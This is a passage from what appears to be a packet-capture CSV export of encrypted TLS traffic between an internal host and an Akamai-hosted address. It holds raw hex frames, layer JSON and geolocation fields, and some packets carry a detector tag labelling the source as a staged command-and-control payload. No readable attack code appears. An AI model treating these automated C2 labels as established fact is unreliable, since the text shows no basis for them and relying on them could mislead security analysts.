9b61c039e5d0535243beb4b5f90ed4851b876a80a6801b7af3d256981301ea9dbc42e397617b90c4f7597f971d40502038b2c285c9a8852197d26b05c282214bdcaaca7e60a9c547ba75dfa39429b979ecdc6e8ffb4ed55602d8324d717c6e5d0e4f96d5cb055d6f8d23cfc2dfebd74c1e69d8e3f10c6a5f802ef88e208ec6458b4829372fb1f5d80f0105a9f6534f731459c5be3f079f1b2ead87ab45e2244b207e0195dbf6ef91dc293121d2cf09267b2c3afdcee4dd1adca5b11f8af3db8034da8182054f9714761eb8650ad125f98cbc88da9229fabcbd50e378dd59877025c3dacab886a2ae4e3ff93668a46db630321eb7c8def652368380dc5a74ced46f2fd41050386ac6a8e3df2a2f54bb0deb1392be310ddbc4bf6420269c3b4c9302d08183ec8188791d614fae29737acea10dfd588f56862d853a34b5ac7a4e13aa34d28ab83f9ab992de5962bf7dfdd7bba1f2208f97d1a072dc5bb8c36e4057dad2cf528669b30f2b5e4a1b1ec874dedf8443251b165e8b569395734159c01bb00d39520a54b937b0d07f8ff59c98dec8f10718166f6a258b337490ecbc3db9b6f7e665a39101f5f0a103cbd0f56903a194e14d1667acab3520430dd4e209905931636907653ad026acfd6f3a2b596b53f12dc3411e644e8ee7e157bd2d8eefbbed63596ffb9f4a3f50837007aa890b8134efc6839d47d376397e96b1085900d74b6da31959297443f998b4a964416d4b87132da49e51368330aa0a6a207d50ec61d9d52dd1d3a93fde9416e17eccb2e1cc40f9fdf89c34f190cce63886b6d048f02f635001c89af3c4d911d13f8cbdf7842b29949f9b8ff6c5901d355504f,\"...(......b..\"\"...-...k..K... _....g.[.... .\n.[.?..d8....$.;....DA..y.....voNJ......E.R...Q....h.`N..U:.....c......L..j.$w........C..X\"\".A\"\"...F..Dx~...G?.R.~....C%..\\../.Q..'jw..N.D[hd..N..a......g...k...!q...GY......$/.3...4T\t...K.....3.D.Do.UHm%..\\..'.b.).j.....^,.........[......Y.y\\....acS.......1.=......9.|..Qk....v]PQ:!.....k...,+/*&....At@./...$e...T'.h..b.....mi....].5$;.K_..HQ.v.\nh...=%i.0.....9v...Ou..q.....,(\\..R.}&.\\(\"\"......\n.T{.].9B.........U`-.$.......m\\.U...<.-..t....?..........dX...r..]...Z.e4.1E.[..y....z.^\"\"D....].n......,..g.....M...[...=..M.. T.qGa..P.._.....\"\".....7...w.\\=...j*....f.F.c.!.|..e#h8\n..L.F..A....j.=...K...9+....K.B.i...0-..>.........7.......hb.S.KZ...:.M(.....-..+...{..\"\"..}..-...6..}.,.(f.0.......M..D2Q.e..i9W4....... .K.{\n...Y.....q.f..X.7I.....o~fZ9.._\n.<..V.:.N..fz..R.0.N ....6.vS..j.......?..4..D..~.{......5.......7.z....N.h9.}7c..k...\nt..1...D?..J.D...q2.I..h3\n.........R..:...An...........O...c.km....5....<M......xB..I...lY..UPO\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1016, \"\"id\"\": 60185, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19929, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307429405, \"\"ack\"\": 3129735802, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 504, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"98819328db8f8dcd12c662049722b514932d88fddc6bac164be2d9c9205f1dc99b8467aa5bb603f4bc20cd0aac5b8b3f94ef64381c9cd6bf24d03bf3832ea54441b3f179d39c9f1eea766f4e4a9cdbf5be0eb945f452cfe410510ed29dae68a1604e8612553ae9e39ab21163ddf39088bad04cefc86aba2477e4d9fac2ecb3e08c43d2a75822d04122d5c90746878044787e0295ab473fb052a97eeb14e4ff432505cb5ccbbf2f0c51ff92276a77dbd04e85445b6864e3964e97826107f0edc989e367d5e6af6bace60121718fa8114759cf10a3e90c05242fc233c9fbb63454091f82e74b89febac28033814411446fef55486d252ea15ca9e827cb62a629f86a807fd897b15e2c15c0198be8ab1a98b65bedc9a0f6ffcb5913795c1daafeda616353eaf1971a8f9c8431d73dad1493ae12c739067c8604516bb6df8086765d50513a21de019da9fc6b7f83972c2b2f2a26d7d1c89a417440822fc19c9b246587f6f65427b5689efc62eee6c493c56d69b61c039e5d0535243beb4b5f90ed4851b876a80a6801b7af3d256981301ea9dbc42e397617b90c4f7597f971d40502038b2c285c9a8852197d26b05c282214bdcaaca7e60a9c547ba75dfa39429b979ecdc6e8ffb4ed55602d8324d717c6e5d0e4f96d5cb055d6f8d23cfc2dfebd74c1e69d8e3f10c6a5f802ef88e208ec6458b4829372fb1f5d80f0105a9f6534f731459c5be3f079f1b2ead87ab45e2244b207e0195dbf6ef91dc293121d2cf09267b2c3afdcee4dd1adca5b11f8af3db8034da8182054f9714761eb8650ad125f98cbc88da9229fabcbd50e378dd59877025c3dacab886a2ae4e3ff93668a46db630321eb7c8def652368380dc5a74ced46f2fd41050386ac6a8e3df2a2f54bb0deb1392be310ddbc4bf6420269c3b4c9302d08183ec8188791d614fae29737acea10dfd588f56862d853a34b5ac7a4e13aa34d28ab83f9ab992de5962bf7dfdd7bba1f2208f97d1a072dc5bb8c36e4057dad2cf528669b30f2b5e4a1b1ec874dedf8443251b165e8b569395734159c01bb00d39520a54b937b0d07f8ff59c98dec8f10718166f6a258b337490ecbc3db9b6f7e665a39101f5f0a103cbd0f56903a194e14d1667acab3520430dd4e209905931636907653ad026acfd6f3a2b596b53f12dc3411e644e8ee7e157bd2d8eefbbed63596ffb9f4a3f50837007aa890b8134efc6839d47d376397e96b1085900d74b6da31959297443f998b4a964416d4b87132da49e51368330aa0a6a207d50ec61d9d52dd1d3a93fde9416e17eccb2e1cc40f9fdf89c34f190cce63886b6d048f02f635001c89af3c4d911d13f8cbdf7842b29949f9b8ff6c5901d355504f\"\"}}]\"\n2026-06-14 14:16:46.572616,18,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129735802 Ack=307430381,bc24112907bbbc2411360d0c0800450000288a184000800672aa0a98980b02175953f9c401bbba8bfa7a125303ed50102010caf00000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......z.S..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35352, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29354, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735802, \"\"ack\"\": 307430381, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8208, \"\"chksum\"\": 51952, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:46.633264,19,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=307430381 Ack=3129735802,bc2411360d0cbc24112907bb080045000b98eb1a400040064638021759530a98980b01bbf9c4125303edba8bfa7a5018003f099800002c64a17bf64e10b212de7d4dad60a1b56414aa7301202481fd1b6162d2b55b168baba3c24ad0257cf22d5b4b778e5f793b40fddf37aed7e9e0e56ad3678bc25820dd09502b153599699887344cee397b0fa62b3d717e36da277d0d664fadcaf26cf220205cb49151fb2cd476c45e4fee21330a2333ef004e84a6940e7fe037195cf5f97a7d5e3162c02f62abbbe2d8bd688f5dd816f0d680bd1e34204d052af57a3e97ad86bb001c733e6ad58e01337448d19c49061b275252069862bc6b8e2e28d536d51f658ff9b00c2c821a322356b2b884cb6cd1ec55a408683a5672e5f8a98972ed5ed675ee12bc37d57feb9b74e658ddc06be01325c3f1b64322a1228d8977e4ebf78781c0ef606e0281776143f7e4b7907e8134d6351ef2e5a56916f2f31f74800f80f61e3e5026a73650928df43526c6d0b136226d866707073edc8a67fc9c87be7be0969f4c94463efe834d9ec670b71a514e5816d06932d4979f6af6cc73ed88ace2181b0820e2f0a84329bf298d6b4285e34f2e8e11f58f90fe21c489a3853c9162f162bd01b9f8abeb2e01f7d8076350ae2838017e38ee44019843fc16fd94fbd9d240e9886cbadf74e5603f8dca8810fea5a5dda6bdbfd847dfaccb45fa4dbca5a627ccea6e9a28e78231affd39e727a15acade29268dffb748a5b70e4e9b9ccc8931c718b4a908ba9425f850bc13031d028a936cf972c0e784de30205bfe62a91e61994f6df7e76292c9f70b22624c90020c86c323c6e76eb644d95e7816414651616c3c9e26c6f789effa4e48af27cf7a222b6820e68fa7b0b099ae08a4b88661e46cbe0f6f0ee179f88a1e6712a59f2c1dc877994060fc583759aff95fb759bb7bb0a457d147e89d838521524938ffc7153166340a7203dbfde75025ed1d0c17ef71ec0a0d061f145b2eb6066dacbb3808fbd400c66a976c0202005f22ca77ad64919e375648561bcee069b3866dfb01ab999ec3129c59318040acd22a1b48ae5a86d8c7cb21b327410e0a0a5e0d32f325f2edf5a8b3fb52e0384d4e4f26de54a973d39d4ef56b88b42e15db3f0b40de62fedcc65a3f2bc1294d9c17cc294b5397f823e77e22df0dfdb76f128f2ce7b5eef14f295d7cefbc79652a25832d2b42136c193a4d7b36558fbcabc6b31560b4963fac886df5bfad93ba540dcf474554d9f05c65e37f3f3688e43a5834ce027b4ab8804293b154eead7f70303b383c0561e3e40d068e23e01857d6dcca142338a230e58715e4f8e4e35740d3a07cbdadb251eb4e57346febc00aebc297aa99c83d21fb37d99328a4ff1539b7fa0d89b2eb261e43f5b394833fb5bad44690a83eaf9df76c9e316e3055d307739f6f2666b2a52cd8df4a38938ff514860dea1d5fb809b88288c8db0cf619d8b3f90568a3c14e53f7cddb3e1ce0ecff3b1793f05c6cfca85b57c58b89d15da4a646ef7ab286454a481ae3f61b12c9cad41f35072aa69dcebfaf2218cdb63a185a82f312de35f768ac5687482875c5ab987a5ac78655d4671a7f547d4a7dc1aa61825c8923826438a215db725ebf7887540a3c5d5de60b5ace85a37299961073e39db86eb5596e8ec7c9d2064222f1abfbcf2c4e3cf8d9db9a32ea22711764ae3450fbf0515d1826e8b4ba91b213ba26cec1b312e1ecf36e9096fdcef1a0279a41912b05c6b55935426aa24138fbd21decb4f1f13a45f00f78489bd7a2ee8f26fa38264eee96f86085dec5a06cbced131d4029d6e8e112bfd2915bdbc55faf9218ab2d47e4a41b5c0bb4fa6b5c259dfaaa2919c9d5b7b8735d8181daef17000529897562650da74efdaafbc47889db22afed6e02bd289055cc65fbf596cb08e9d85eb675825e2aa959fd0eaaf1c15411e14d45af8419ee0eb1d4715f298b5d3757f73fb3aa9f9e8f00084729123d24f13d6bb6a71f783d325ca5d34b43864efc4e6be39e32eb0944b8273c25ae4f0bb35823abb79f02b9490cc61dfa2e84b2a47beda0e25c207a4454bdea65fc68fcbc3a5768c04ac4e64b05df3324886eab3f368411ae28f332ee9531f92e4423dabfb5ecd42b02bad05a774ba0e31b47fc810fcf074b327beb61c55b4d1eba91dd2bfad47f421fc5d3fcc804d0f63c826787e74157dac3794c9bdad0e127d316b2966619db27bee3a586aa283e70c0df82629dca76fdb5c033cc54d3d46618f4fe55dff18cefea2960250acecef444674dd2f71aaae8e557f820f9299ae67c82512902a1ef93d85672ea6968cef6ca2dbd1f18d7d52b1b04f2b2b70af04f59adfaf03be69c0a46140ba5d2a8acbe65da2ff762038dee751da06a4d2cf7f3271e86324e4af79cafb0a93d9561678bed9757f97661edbad319109276081ff1fcdcb01f361918719315c46c08504f4067376fc44d4160f11a2129fca81cc5fcc1eb8443b9c3de2ac21d24f35e54b2e207d6922699f2db8b096907fc8b2235510035846e9ebe08ac9e9c5e88fac905100507932dc5390d066154f9b6e90808469b8fcb96408273dd72d62a608a0cb2b09f8ee15ba74098508a4c2681124dd61af477f7a6fb9c6fe39f52a8926b6c4ab86db1f293cb5b96762b99beab0122d0ab0a14548269484d6af0b722a0407332a24a3dc067d04cb48a50560135fd9815689a84edd597e1c721fdd4ada51768b353813fef49e2e40be1c2438da69f607a1723c326b3e826d69f7b7ac8a96591aa2e4abda3f85bbd5e2de62d7c1ceb7533515c39b7f59ac1e6c5119d32f308d5ff370586bb8d61a3dac2238adf6b7716030da8aa1ab881fe0962ebf6d6a53e4f6cbe00eba8ed7beb0f0b855f89da301c2a1f150ce2a5f3a6abb2147e8ecd1bb5ebf66907187c152bf4b22ec2d95987f378fd1d6f27619e206e6c57a3d5aa38ec52dae8e3572c18b3b2a3e3dcbc7795ea0161170f5a8ebbef878791d682681287400a40ba5c4d59d846bfc3193cdf409a4cc2c11322d1c83e21e26e55da8c42a21b27d3971c9e1928b81aa13057bfc230a644deb86ef1ab771008ef9fcbb64228cd6ba92f06388c331aea81637547f751e05a02a83093d7afd00863efed6524190f3b05145186c64de88f4f5905b5365e0cb6971ee6194fff4b404e9307d57c090a69661c10e271ebe04241eeae5ba6667543aa4da9075673e2334381e6362f16158aba4fd4b6d4d210f81a666b51149e8fecfe4230c023b896ab449f31c114dd77162cd59be6d121f8452c5dca9f08d4804aafe7eb34414653ac779ee41644afe04a9741ecedb5696e067c506bd1c935a1d50be8d45b5453f63be8d260af25b9a1c2adf9c6ab56988ba6d7b4716d72138c5a65e618218e1c6f6b4dcd1e06efc1a738da676203804f983f291f221a63b6a86507bed841893fbb486649d6b6ed515de1c77cec6c61a38077d387078aaf5f40f6ae6c5b0f90ec1adbdd66cd2ba9fc5b9463555fe9ce8370687ceaa74869d7b754fd8fc6bd6912f6e4231472afcf3a0e6e838499d529116e71407c2e8d0e67979e8f3a35e037bff29fd7f62a68a1c1347f2bc17d1bdad6b5772f1cee0c480c17ba33b49ffbf8370edde0e88288a4a3c6d30083fa88353e7d11c1797b32cb0768812dbd57d025b64d5728eb28a38ec16f280c1d5800307ceb968817cc1caa54c820388267915c75d9174005ce980df4eba8334d8d87293f243d53062fcce53d71802b0156f614588a64776b3671d1f764c45a4d35c5d762f8b31f0399c440bd3f9d50bc8733b54891f0ebe0656063101245890ce27cce6a94ed6069aad876a8ab0f83072ee150ba78a6ef2c74946e49a2fe833fdb9dc5460ba1bb26dad64b8cd8fafd73805dee67b491bf335991afa6e019dac2cf712b4d44c1c8036da764bef348a76d0291f567626a14934e7f9ac64de89726b6508bdeb2122fe185a736da61dc7c5b0d871c3380030bb1e797eebe98369971e8bd481139db319281e0aab1bf8e3acab1bf16dfb8ab5dec27a468e1a75eb5c10c64d4f92a23a0b21d83ba4b4610f8e0bec51ae43e45aec2538fdf81b511864863582a56fbf25f482b50d154d7be709f261101b4d8141f146f930e2f2fed54b80eb0e7509722077d7ac4daec2a06845b601dd323bea51c462b867cea616a7ed974e1bdd52de3e6500dad4adcfe5cf5,\",d.{.N....}M.`..d..s. $...ab..[.....J.%|.-[Kw._y;@..7.....j.g..X .\tP+.5.i..4L.9{..+=q~6.'}\nfO...l.  \\..Q.,.v.^O.!3\n#3..N......7.\\..z}^1b./b.....h.].......4 M.*.z>......s>j...3tH..I..'RR..b.k..(.6..e....,..2#V....l..U..h:Vr....r.^.u...7....t.X..k..%...C\"\".\"\"..w.......`n..waC....~.4.5....i....t.....>P&.6P...5&...6\"\"m.g..>..g....{...L.F>..M..p..QNX..i2...j..s....... ...C).).kB..O.......!....<.b.b...........cP.(8.~8.D..C.......@..l..t.`?............G...E.M...'..n.(..1..9.'.Z..)&...H...N....1.......%.P.......l.r....0 [.b..a.Om..b....\"\"bL.....#..n.D.^x.AFQal<.&.....NH.'.z\"\"+h ...........a.l..o..y...g...,..w.@`.X7Y.._.Y.{..W.G....!RI8...1f4\nr....P%.....q.\n\n...[...m..8.....j.l..._\"\".w.d..7VHV...i..m........Y1.@..*.H.Z....!.'A.\n\n^\n2.%......R.8MNO&.T.s..N.k.....?.@.b...Z?+.)M...)KS..#.~\"\".\n..o..,....O)]|..ye*%.-+B.l.:M{6U......`..?..m.....T\n.GET..\\e..?6..:X4..{J..B..T...p0;8<.a..\n..#..W....#8.0.......W@..|...Q.NW4o..\n......=!.7..(...9..\n...&.C....?...F..>...l.1n0U..s.o&f..,..J8.....\n.._.\t............h..NS...>....;...\\l..[W....]..F.z..EJH.........5.*.....\"\"...:.Z....5.h.V.H(u...zZ..U.g..T}J}..a.\\.#.d8...r^.x.T\n<]]..Z...r...s...n.Yn.....B\"\"....,N<....2.\"\"q.d.4P..Q].&.......&.......n......'.A.+...Y5Bj.A8.......:E..xH.....&.8&N...`....l....@).......[.._....-G...\\...k\\%...).....s].......).ube\n.N....x..\"\"..n..(.U.e.......^.u.^*.Y.....T..ME.......q_).]7W.?.......G).=$.=k...x=2\\..KC.N.Nk..2.\tD.'<%.O..X#.....I........{...\\ zDT..e.h..:Wh.J..K..3$.n.?6...(.2..1..D#.....+...ZwK...G.....K2{.a.[M....+...B........<.g..AW..yL....'....f..'.....(>p...b..v...3.T..f...U.....)`%\n...DgM......W. .)..|.Q).....Vr.ih...-.....+.....\n.OY...;..\nF.......e./.b...u..jM,..'..2NJ.....=.ag...W.va......v.......6..q...l.PO@g7o.MA`..!)........C...*..$.^T.....&....\ti...\"\"5Q.5.n......^........-.9\n.aT.....F....@.s.r.*`.......[.@.P.L&..M...w....o..R..klJ.m....[.v+....\"\"..\n.T.iHMj..\"\".@s2.J=.g.L..PV.5...h.......!.....h.S.?.I.....C...`z.#.&..&..{z..e...J...[.^-.-|..u3Q\\9........2....7....a...#..kw..\n......\tb....>Ol.....{...._..0.*..........~......i..|.+.....Y..x..o'a. nlW...8.R...W,.......w...a..Z........h..@\n@.\\MY.F...<.@.L...\"\"..>!.nU..B..'.....(...0W..0.D..n..w......B(.k./.8.3...cuG.Q.Z..0.....c..e$..;..Q..M..OY..6^......O.K@N...|\t\nif...q..BA..[.fuC.M..Vs.3C..6/....O.......fkQ.....B0.#...D.1...w.,....!.E,].....J...4AFS.w...D..J.A...in.|Pk..5.....[TS.;..`.%.......V.....qmr..Ze..!..okM......8.gb..O.?).\"\".c..e...A.?.HfI...Q]..|.la..w....._@..l[......f.+..[.cU_...ph|..Hi..T....i...#.r..:.n....).nq@|...g...:5.7.....*h..4.+.}....w/...H...3....7..............5>}..y{2..h.-.W.%.MW(.(...o(..X.0|.......T. 8.g.\\u..@...\n...3M..)?$=S./..=q.+.V..X.dwk6q..d.ZM5..b......@.?.P..3.H....e`c..E...|.j..`i..v.......P.x..,t.nI...?...F...&..K....s.].g...3Y........q+MD...m.d..H.m...gbj..N...M..&.P..../...6.a.|[\n..3.........6.q..H.9.1.......:.......].'.h..^...d..*#.....KF.......>E..S......HcX*V.._H+P.T..p.&.......o..//.T....P.\"\".}z...*..[`..#...F+.|.aj~.t...-..P\n.J..\\.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2968, \"\"id\"\": 60186, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17976, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307430381, \"\"ack\"\": 3129735802, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2456, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"2c64a17bf64e10b212de7d4dad60a1b56414aa7301202481fd1b6162d2b55b168baba3c24ad0257cf22d5b4b778e5f793b40fddf37aed7e9e0e56ad3678bc25820dd09502b153599699887344cee397b0fa62b3d717e36da277d0d664fadcaf26cf220205cb49151fb2cd476c45e4fee21330a2333ef004e84a6940e7fe037195cf5f97a7d5e3162c02f62abbbe2d8bd688f5dd816f0d680bd1e34204d052af57a3e97ad86bb001c733e6ad58e01337448d19c49061b275252069862bc6b8e2e28d536d51f658ff9b00c2c821a322356b2b884cb6cd1ec55a408683a5672e5f8a98972ed5ed675ee12bc37d57feb9b74e658ddc06be01325c3f1b64322a1228d8977e4ebf78781c0ef606e0281776143f7e4b7907e8134d6351ef2e5a56916f2f31f74800f80f61e3e5026a73650928df43526c6d0b136226d866707073edc8a67fc9c87be7be0969f4c94463efe834d9ec670b71a514e5816d06932d4979f6af6cc73ed88ace2181b0820e2f0a84329bf298d6b4285e34f2e8e11f58f90fe21c489a3853c9162f162bd01b9f8abeb2e01f7d8076350ae2838017e38ee44019843fc16fd94fbd9d240e9886cbadf74e5603f8dca8810fea5a5dda6bdbfd847dfaccb45fa4dbca5a627ccea6e9a28e78231affd39e727a15acade29268dffb748a5b70e4e9b9ccc8931c718b4a908ba9425f850bc13031d028a936cf972c0e784de30205bfe62a91e61994f6df7e76292c9f70b22624c90020c86c323c6e76eb644d95e7816414651616c3c9e26c6f789effa4e48af27cf7a222b6820e68fa7b0b099ae08a4b88661e46cbe0f6f0ee179f88a1e6712a59f2c1dc877994060fc583759aff95fb759bb7bb0a457d147e89d838521524938ffc7153166340a7203dbfde75025ed1d0c17ef71ec0a0d061f145b2eb6066dacbb3808fbd400c66a976c0202005f22ca77ad64919e375648561bcee069b3866dfb01ab999ec3129c59318040acd22a1b48ae5a86d8c7cb21b327410e0a0a5e0d32f325f2edf5a8b3fb52e0384d4e4f26de54a973d39d4ef56b88b42e15db3f0b40de62fedcc65a3f2bc1294d9c17cc294b5397f823e77e22df0dfdb76f128f2ce7b5eef14f295d7cefbc79652a25832d2b42136c193a4d7b36558fbcabc6b31560b4963fac886df5bfad93ba540dcf474554d9f05c65e37f3f3688e43a5834ce027b4ab8804293b154eead7f70303b383c0561e3e40d068e23e01857d6dcca142338a230e58715e4f8e4e35740d3a07cbdadb251eb4e57346febc00aebc297aa99c83d21fb37d99328a4ff1539b7fa0d89b2eb261e43f5b394833fb5bad44690a83eaf9df76c9e316e3055d307739f6f2666b2a52cd8df4a38938ff514860dea1d5fb809b88288c8db0cf619d8b3f90568a3c14e53f7cddb3e1ce0ecff3b1793f05c6cfca85b57c58b89d15da4a646ef7ab286454a481ae3f61b12c9cad41f35072aa69dcebfaf2218cdb63a185a82f312de35f768ac5687482875c5ab987a5ac78655d4671a7f547d4a7dc1aa61825c8923826438a215db725ebf7887540a3c5d5de60b5ace85a37299961073e39db86eb5596e8ec7c9d2064222f1abfbcf2c4e3cf8d9db9a32ea22711764ae3450fbf0515d1826e8b4ba91b213ba26cec1b312e1ecf36e9096fdcef1a0279a41912b05c6b55935426aa24138fbd21decb4f1f13a45f00f78489bd7a2ee8f26fa38264eee96f86085dec5a06cbced131d4029d6e8e112bfd2915bdbc55faf9218ab2d47e4a41b5c0bb4fa6b5c259dfaaa2919c9d5b7b8735d8181daef17000529897562650da74efdaafbc47889db22afed6e02bd289055cc65fbf596cb08e9d85eb675825e2aa959fd0eaaf1c15411e14d45af8419ee0eb1d4715f298b5d3757f73fb3aa9f9e8f00084729123d24f13d6bb6a71f783d325ca5d34b43864efc4e6be39e32eb0944b8273c25ae4f0bb35823abb79f02b9490cc61dfa2e84b2a47beda0e25c207a4454bdea65fc68fcbc3a5768c04ac4e64b05df3324886eab3f368411ae28f332ee9531f92e4423dabfb5ecd42b02bad05a774ba0e31b47fc810fcf074b327beb61c55b4d1eba91dd2bfad47f421fc5d3fcc804d0f63c826787e74157dac3794c9bdad0e127d316b2966619db27bee3a586aa283e70c0df82629dca76fdb5c033cc54d3d46618f4fe55dff18cefea2960250acecef444674dd2f71aaae8e557f820f9299ae67c82512902a1ef93d85672ea6968cef6ca2dbd1f18d7d52b1b04f2b2b70af04f59adfaf03be69c0a46140ba5d2a8acbe65da2ff762038dee751da06a4d2cf7f3271e86324e4af79cafb0a93d9561678bed9757f97661edbad319109276081ff1fcdcb01f361918719315c46c08504f4067376fc44d4160f11a2129fca81cc5fcc1eb8443b9c3de2ac21d24f35e54b2e207d6922699f2db8b096907fc8b2235510035846e9ebe08ac9e9c5e88fac905100507932dc5390d066154f9b6e90808469b8fcb96408273dd72d62a608a0cb2b09f8ee15ba74098508a4c2681124dd61af477f7a6fb9c6fe39f52a8926b6c4ab86db1f293cb5b96762b99beab0122d0ab0a14548269484d6af0b722a0407332a24a3dc067d04cb48a50560135fd9815689a84edd597e1c721fdd4ada51768b353813fef49e2e40be1c2438da69f607a1723c326b3e826d69f7b7ac8a96591aa2e4abda3f85bbd5e2de62d7c1ceb7533515c39b7f59ac1e6c5119d32f308d5ff370586bb8d61a3dac2238adf6b7716030da8aa1ab881fe0962ebf6d6a53e4f6cbe00eba8ed7beb0f0b855f89da301c2a1f150ce2a5f3a6abb2147e8ecd1bb5ebf66907187c152bf4b22ec2d95987f378fd1d6f27619e206e6c57a3d5aa38ec52dae8e3572c18b3b2a3e3dcbc7795ea0161170f5a8ebbef878791d682681287400a40ba5c4d59d846bfc3193cdf409a4cc2c11322d1c83e21e26e55da8c42a21b27d3971c9e1928b81aa13057bfc230a644deb86ef1ab771008ef9fcbb64228cd6ba92f06388c331aea81637547f751e05a02a83093d7afd00863efed6524190f3b05145186c64de88f4f5905b5365e0cb6971ee6194fff4b404e9307d57c090a69661c10e271ebe04241eeae5ba6667543aa4da9075673e2334381e6362f16158aba4fd4b6d4d210f81a666b51149e8fecfe4230c023b896ab449f31c114dd77162cd59be6d121f8452c5dca9f08d4804aafe7eb34414653ac779ee41644afe04a9741ecedb5696e067c506bd1c935a1d50be8d45b5453f63be8d260af25b9a1c2adf9c6ab56988ba6d7b4716d72138c5a65e618218e1c6f6b4dcd1e06efc1a738da676203804f983f291f221a63b6a86507bed841893fbb486649d6b6ed515de1c77cec6c61a38077d387078aaf5f40f6ae6c5b0f90ec1adbdd66cd2ba9fc5b9463555fe9ce8370687ceaa74869d7b754fd8fc6bd6912f6e4231472afcf3a0e6e838499d529116e71407c2e8d0e67979e8f3a35e037bff29fd7f62a68a1c1347f2bc17d1bdad6b5772f1cee0c480c17ba33b49ffbf8370edde0e88288a4a3c6d30083fa88353e7d11c1797b32cb0768812dbd57d025b64d5728eb28a38ec16f280c1d5800307ceb968817cc1caa54c820388267915c75d9174005ce980df4eba8334d8d87293f243d53062fcce53d71802b0156f614588a64776b3671d1f764c45a4d35c5d762f8b31f0399c440bd3f9d50bc8733b54891f0ebe0656063101245890ce27cce6a94ed6069aad876a8ab0f83072ee150ba78a6ef2c74946e49a2fe833fdb9dc5460ba1bb26dad64b8cd8fafd73805dee67b491bf335991afa6e019dac2cf712b4d44c1c8036da764bef348a76d0291f567626a14934e7f9ac64de89726b6508bdeb2122fe185a736da61dc7c5b0d871c3380030bb1e797eebe98369971e8bd481139db319281e0aab1bf8e3acab1bf16dfb8ab5dec27a468e1a75eb5c10c64d4f92a23a0b21d83ba4b4610f8e0bec51ae43e45aec2538fdf81b511864863582a56fbf25f482b50d154d7be709f261101b4d8141f146f930e2f2fed54b80eb0e7509722077d7ac4daec2a06845b601dd323bea51c462b867cea616a7ed974e1bdd52de3e6500dad4adcfe5cf5\"\"}}]\"\n2026-06-14 14:16:46.633470,20,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129735802 Ack=307433309,bc24112907bbbc2411360d0c0800450000288a194000800672a90a98980b02175953f9c401bbba8bfa7a12530f5d50102014bf7c0000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......z.S.]P. ..|..\",,\"[{\"\"layer\"\": \"\"Ether\"\", 